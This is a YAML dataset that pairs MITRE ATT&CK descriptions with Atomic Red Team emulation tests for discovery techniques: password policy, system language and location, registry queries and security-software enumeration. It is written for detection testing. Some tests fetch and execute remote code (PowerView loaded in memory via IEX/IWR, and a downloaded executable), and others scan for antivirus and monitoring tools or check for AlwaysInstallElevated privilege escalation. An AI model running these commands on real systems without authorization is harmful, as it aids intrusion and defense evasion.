46c2c362-2679-4ef5-aec9-0e958e135be4 description: 'Lists the domain password policy to console on Windows. ' supported_platforms: - windows executor: command: 'net accounts /domain ' name: command_prompt - name: Examine password policy - macOS auto_generated_guid: 4b7fa042-9482-45e1-b348-4b756b2a0742 description: 'Lists the password policy to console on macOS. ' supported_platforms: - macos executor: command: pwpolicy getaccountpolicies name: bash - name: Get-DomainPolicy with PowerView auto_generated_guid: 3177f4da-3d4b-4592-8bdc-aa23d0b2e843 description: 'Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller. ' supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose name: powershell - name: Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy auto_generated_guid: b2698b33-984c-4a1c-93bb-e4ba72a0babb description: | The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy. Upon successful execution a listing of the policy implemented will display. Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps supported_platforms: - windows executor: name: powershell elevation_required: false command: 'get-addefaultdomainpasswordpolicy ' - name: Use of SecEdit.exe to export the local security policy (including the password policy) auto_generated_guid: 510cc97f-56ac-4cd3-a198-d3218c23d889 description: | SecEdit.exe can be used to export the current local security policy applied to a host. [Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d) supported_platforms: - windows executor: command: 'secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt ' name: command_prompt elevation_required: true - name: Examine AWS Password Policy auto_generated_guid: 15330820-d405-450b-bd08-16b5be5be9f4 description: 'This atomic test will display details about the password policy for the current AWS account. ' supported_platforms: - iaas:aws dependencies: - description: 'Check if ~/.aws/credentials file has a default stanza is configured ' prereq_command: 'cat ~/.aws/credentials | grep "default" ' get_prereq_command: 'echo Please install the aws-cli and configure your AWS defult profile using: aws configure ' executor: command: 'aws iam get-account-password-policy ' name: sh elevation_required: false T1614.001: technique: x_mitre_platforms: - Windows - Linux - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Harshal Tupsamudre, Qualys object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19 type: attack-pattern created: '2021-08-18T14:06:45.244Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1614.001 url: https://attack.mitre.org/techniques/T1614/001 - source_name: Malware System Language Check url: https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/ description: Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August 18, 2021. - source_name: CrowdStrike Ryuk January 2019 url: https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ description: 'Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.' - source_name: Darkside Ransomware Cybereason url: https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware description: Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021. - source_name: Securelist JSWorm url: https://securelist.com/evolution-of-jsworm-ransomware/102428/ description: Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021. - source_name: SecureList SynAck Doppelgänging May 2018 description: Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018. url: https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/ modified: '2022-04-25T14:00:00.188Z' name: 'System Location Discovery: System Language Discovery' description: "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)\n\nOn a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'Process: OS API Execution' - 'Windows Registry: Windows Registry Key Access' - 'Command: Command Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1614.001 atomic_tests: - name: Discover System Language by Registry Query auto_generated_guid: 631d4cf1-42c9-4209-8fe9-6bd4de9421be description: "Identify System language by querying the registry on an endpoint. \n\nUpon successful execution, result in number format can be looked up to correlate the language.\n" supported_platforms: - windows executor: command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language ' name: command_prompt - name: Discover System Language with chcp auto_generated_guid: d91473ca-944e-477a-b484-0e80217cd789 description: | Identify System language with the chcp command. Upon successful execution, result in number format can be looked up to correlate the language. supported_platforms: - windows executor: command: 'chcp ' name: command_prompt - name: Discover System Language with locale auto_generated_guid: 837d609b-845e-4519-90ce-edc3b4b0e138 description: | Identify System language with the `locale` command. Upon successful execution, the output will contain the environment variables that indicate the 5 character locale that can be looked up to correlate the language and territory. supported_platforms: - linux executor: command: 'locale ' name: sh - name: Discover System Language with localectl auto_generated_guid: 07ce871a-b3c3-44a3-97fa-a20118fdc7c9 description: | Identify System language with the `localectl` command. Upon successful execution, the key `System Locale` from the output will contain the `LANG` environment variable that has the 5 character locale result that can be looked up to correlate the language and territory. supported_platforms: - linux executor: command: 'localectl status ' name: sh - name: Discover System Language by locale file auto_generated_guid: 5d7057c9-2c8a-4026-91dd-13b5584daa69 description: | Identify System language with the by reading the locale configuration file. The locale configuration file contains the `LANG` environment variable which will contain the 5 character locale that can be looked up to correlate the language and territory. supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check the location of the locale configuration file. ' prereq_command: "[ -f /etc/locale.conf ] || [ -f /etc/default/locale ] && exit 0 || exit 1\n" get_prereq_command: 'echo "Test only valid for systems that have locale file" ' executor: command: "[ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale\n" name: sh - name: Discover System Language by Environment Variable Query auto_generated_guid: cb8f7cdc-36c4-4ed0-befc-7ad7d24dfd7a description: | Identify System language by checking the environment variables Upon successful execution, the 5 character locale result can be looked up to correlate the language and territory. Environment query commands are likely to run with a pattern match command e.g. `env | grep LANG` Note: `env` and `printenv` will usually provide the same results. `set` is also used as a builtin command that does not generate syscall telemetry but does provide a list of the environment variables. supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if printenv command exists on the machine ' prereq_command: '[ -x "$(command -v printenv)" ] && exit 0 || exit 1 ' get_prereq_command: | echo "printenv command does not exist" exit 1 executor: command: | env | grep LANG printenv LANG set | grep LANG name: sh - name: Discover System Language with dism.exe auto_generated_guid: 69f625ba-938f-4900-bdff-82ada3df5d9c description: 'The Windows utility DISM (Deployment Image Servicing and Management) can be used to display information about international settings and languages on the currently installed Windows image using an elevated terminal. ' supported_platforms: - windows executor: name: command_prompt elevation_required: true command: 'dism.exe /online /Get-Intl ' - name: Discover System Language by Windows API Query auto_generated_guid: e39b99e9-ce7f-4b24-9c88-0fbad069e6c6 description: "This test executes a custom script called LanguageKeyboardLayout.exe which outputs the values of the following Windows API functions to the user terminal: \n\n`GetKeyboardLayout`, `GetKeyboardLayoutList`, `GetUserDefaultUILanguage`, `GetSystemDefaultUILanguage`, `GetUserDefaultLangID`.\n\nDocumentation for these functions is located [here](https://learn.microsoft.com/en-us/windows/win32/api/winuser/). \ \n" supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'LanguageKeyboardLayout.exe must exist on disk (default location: PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe) ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe") -ErrorAction Ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1614.001/bin/LanguageKeyboardLayout.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe" executor: name: command_prompt elevation_required: false command: PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe T1012: technique: modified: '2023-05-09T14:00:00.188Z' name: Query Registry description: |- Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: OS API Execution' - 'Windows Registry: Windows Registry Key Access' - 'Command: Command Execution' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896 created: '2017-05-31T21:30:25.584Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1012 external_id: T1012 - source_name: Wikipedia Windows Registry description: Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015. url: https://en.wikipedia.org/wiki/Windows_Registry object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1012 atomic_tests: - name: Query Registry auto_generated_guid: 8f7578c4-9863-4d83-875c-a565573bbdf0 description: | Query Windows Registry. Upon successful execution, cmd.exe will perform multiple reg queries. Some will succeed and others will fail (dependent upon OS). References: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order https://blog.cylance.com/windows-registry-persistence-part-1-introduction-attack-phases-and-windows-services http://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf https://www.offensive-security.com/wp-content/uploads/2015/04/wp.Registry_Quick_Find_Chart.en_us.pdf supported_platforms: - windows executor: command: | reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit" reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell" reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell" reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run reg query HKLM\system\currentcontrolset\services /s | findstr ImagePath 2>nul | findstr /Ri ".*\.sys$" reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup" name: command_prompt elevation_required: true - name: Query Registry with Powershell cmdlets auto_generated_guid: 0434d081-bb32-42ce-bcbb-3548e4f2628f description: "Query Windows Registry with Powershell cmdlets, i.e., Get-Item and Get-ChildItem. The results from above can also be achieved with Get-Item and Get-ChildItem.\nUnlike using \"reg query\" which then executes reg.exe, using cmdlets won't generate new processes, which may evade detection systems monitoring process generation. \n" supported_platforms: - windows executor: command: "Get-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\\" | findstr Windows\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"\nGet-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nGet-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\nGet-Item -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\nGet-ChildItem -Path \"HKLM:system\\currentcontrolset\\services\" \nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item -Path \"HKLM:SYSTEM\\CurrentControlSet\\Control\\SafeBoot\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Active Setup\\Installed Components\"\nGet-ChildItem -Path \"HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\Scripts\\Startup\"\n" name: powershell elevation_required: true - name: Enumerate COM Objects in Registry with Powershell auto_generated_guid: 0d80d088-a84c-4353-af1a-fc8b439f1564 description: "This test is designed to enumerate the COM objects listed in HKCR, then output their methods and CLSIDs to a text file.\nAn adversary could then use this information to identify COM objects that might be vulnerable to abuse, such as using them to spawn arbitrary processes. \nSee: https://www.mandiant.com/resources/hunting-com-objects" supported_platforms: - windows input_arguments: output_file: description: File to output list of COM objects to type: string default: "$env:temp\\T1592.002Test1.txt" executor: command: | New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > $env:temp\clsids.txt ForEach($CLSID in Get-Content "$env:temp\clsids.txt") {try{write-output "$($Position)-$($CLSID)" write-output "------------"| out-file #{output_file} -append write-output $($CLSID)| out-file #{output_file} -append $handle=[activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID)) $handle | get-member -erroraction silentlycontinue | out-file #{output_file} -append $position += 1} catch{}} cleanup_command: "remove-item #{output_file} -force -erroraction silentlycontinue\nremove-item $env:temp\\clsids.txt -force -erroraction silentlycontinue \n" name: powershell - name: Reg query for AlwaysInstallElevated status auto_generated_guid: 6fb4c4c5-f949-4fd2-8af5-ddbc61595223 description: The reg query commands allows to check the status of the AlwaysInstallElevated registry key for both the user and the machine. If both queries return a value of 0x1, then AlwaysInstallElevated is enabled for both user and machine thus allowing a regular user to install a Microsoft Windows Installer package with system level privileges. This can be abused by an attacker to escalate privileges in the host to SYSTEM level. supported_platforms: - windows executor: command: "reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated \n" name: command_prompt elevation_required: true T1614: technique: x_mitre_platforms: - Windows - Linux - macOS - IaaS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Pooja Natarajan, NEC Corporation India - Hiroki Nagahama, NEC Corporation - Manikantan Srinivasan, NEC Corporation India - Wes Hurd - Katie Nickels, Red Canary object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979 type: attack-pattern created: '2021-04-01T16:42:08.735Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1614 url: https://attack.mitre.org/techniques/T1614 - source_name: FBI Ragnar Locker 2020 url: https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf description: FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021. - source_name: Sophos Geolocation 2016 url: https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/ description: 'Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.' - source_name: Bleepingcomputer RAT malware 2020 url: https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/ description: Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021. - source_name: AWS Instance Identity Documents url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html description: Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021. - source_name: Microsoft Azure Instance Metadata 2021 url: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows description: Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021. - source_name: Securelist Trasparent Tribe 2020 url: https://securelist.com/transparent-tribe-part-1/98127/ description: 'Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.' modified: '2022-04-25T14:00:00.188Z' name: System Location Discovery description: |2- Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021) Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020) Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo. x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'Process: OS API Execution' - 'Command: Command Execution' x_mitre_permissions_required: - User x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1518.001: technique: modified: '2024-04-16T00:15:53.303Z' name: 'Software Discovery: Security Software Discovery' description: |- Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software. Adversaries may also utilize the [Cloud API](https://attack.mitre.org/techniques/T1059/009) to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents may collect metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Isif Ibrahima, Mandiant x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - IaaS - Linux - macOS x_mitre_version: '1.5' x_mitre_data_sources: - 'Process: Process Creation' - 'Firewall: Firewall Metadata' - 'Command: Command Execution' - 'Process: OS API Execution' - 'Firewall: Firewall Enumeration' type: attack-pattern id: attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384 created: '2020-02-21T21:16:18.066Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1518/001 external_id: T1518.001 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1518.001 atomic_tests: - name: Security Software Discovery auto_generated_guid: f92a380f-ced9-491f-b338-95a991418ce2 description: | Methods to identify Security Software on an endpoint when sucessfully executed, the test is going to display running processes, firewall configuration on network profiles and specific security software. supported_platforms: - windows executor: command: "netsh.exe advfirewall show allprofiles \nnetsh.exe advfirewall firewall dump\nnetsh.exe advfirewall show currentprofile\nnetsh.exe advfirewall firewall show rule name=all\nnetsh.exe firewall show state\nnetsh.exe firewall show config\nsc query windefend\npowershell.exe /c \"Get-Process | Where-Object { $_.ProcessName -eq 'Sysmon' }\"\npowershell.exe /c \"Get-Service | where-object {$_.DisplayName -like '*sysm*'}\"\npowershell.exe /c \"Get-CimInstance Win32_Service -Filter 'Description = ''System Monitor service'''\"\ntasklist.exe\ntasklist.exe | findstr /i virus\ntasklist.exe | findstr /i cb\ntasklist.exe | findstr /i defender\ntasklist.exe | findstr /i cylance\ntasklist.exe | findstr /i mc\ntasklist.exe | findstr /i \"virus cb defender cylance mc\"\n" name: command_prompt - name: Security Software Discovery - powershell auto_generated_guid: 7f566051-f033-49fb-89de-b6bacab730f0 description: | Methods to identify Security Software on an endpoint when sucessfully executed, powershell is going to processes related AV products if they are running. Note that, depending on the privilege of current user, get-process | ?{$_.Description -like "*"} may not return the processes related to AV products of the check. For instance, only with Administrator right, you can see the process description of McAffee processes. Hence, it is better to use get-process | ?{$_.ProcessName -like "*"}, if you know the name of those processes. supported_platforms: - windows executor: command: | get-process | ?{$_.Description -like "*virus*"} get-process | ?{$_.Description -like "*carbonblack*"} get-process | ?{$_.Description -like "*defender*"} get-process | ?{$_.Description -like "*cylance*"} get-process | ?{$_.Description -like "*mc*"} get-process | ?{$_.ProcessName -like "*mc*"} get-process | Where-Object { $_.ProcessName -eq "Sysmon" } name: powershell - name: Security Software Discovery - ps (macOS) auto_generated_guid: ba62ce11-e820-485f-9c17-6f3c857cd840 description: | Methods to identify Security Software on an endpoint when sucessfully executed, command shell is going to display AV/Security software it is running. supported_platforms: - macos executor: command: 'ps aux | egrep ''Little\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu'' ' name: sh - name: Security Software Discovery - ps (Linux) auto_generated_guid: 23b91cd2-c99c-4002-9e41-317c63e024a2 description: | Methods to identify Security Software on an endpoint when sucessfully executed, command shell is going to display AV/Security software it is running. supported_platforms: - linux executor: command: 'ps aux | egrep ''falcond|nessusd|cbagentd|td-agent|packetbeat|filebeat|auditbeat|osqueryd'' ' name: sh - name: Security Software Discovery - pgrep (FreeBSD) auto_generated_guid: fa96c21c-5fd6-4428-aa28-51a2fbecdbdc description: | Methods to identify Security Software on an endpoint when sucessfully executed, command shell is going to display AV/Security software it is running. supported_platforms: - linux executor: command: 'pgrep -l ''bareos-fd|icinga2|cbagentd|wazuh-agent|packetbeat|filebeat|osqueryd'' ' name: sh - name: Security Software Discovery - Sysmon Service auto_generated_guid: fe613cf3-8009-4446-9a0f-bc78a15b66c9 description: | Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed). when sucessfully executed, the test is going to display sysmon driver instance if it is installed. supported_platforms: - windows executor: command: 'fltmc.exe | findstr.exe 385201 ' name: command_prompt elevation_required: true - name: Security Software Discovery - AV Discovery via WMI auto_generated_guid: 1553252f-14ea-4d3b-8a08-d7a4211aa945 description: | Discovery of installed antivirus products via a WMI query. when sucessfully executed, the test is going to display installed AV software. supported_platforms: - windows executor: command: wmic.exe /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List name: command_prompt elevation_required: true - name: Security Software Discovery - AV Discovery via Get-CimInstance and Get-WmiObject cmdlets auto_generated_guid: 015cd268-996e-4c32-8347-94c80c6286ee description: | Discovery of installed antivirus products via Get-CimInstance and Get-WmiObject cmdlets of powershell. when sucessfully executed, information about installed AV software is displayed.. supported_platforms: - windows executor: command: | powershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct powershell Get-WmiObject -Namespace root\securitycenter2 -Class antivirusproduct name: command_prompt elevation_required: true - name: Security Software Discovery - Windows Defender Enumeration auto_generated_guid: d3415a0e-66ef-429b-acf4-a768876954f6 description: | Windows Defender Enumeration via different built-in windows native tools. when sucessfully executed, information about windows defender is displayed. supported_platforms: - windows executor: command: | Get-Service WinDefend #check the service state of Windows Defender Get-MpComputerStatus #provides the current status of security solution elements, including Anti-Spyware, Antivirus, LoavProtection, Real-time protection, etc Get-MpThreat #threats details that have been detected using MS Defender name: powershell 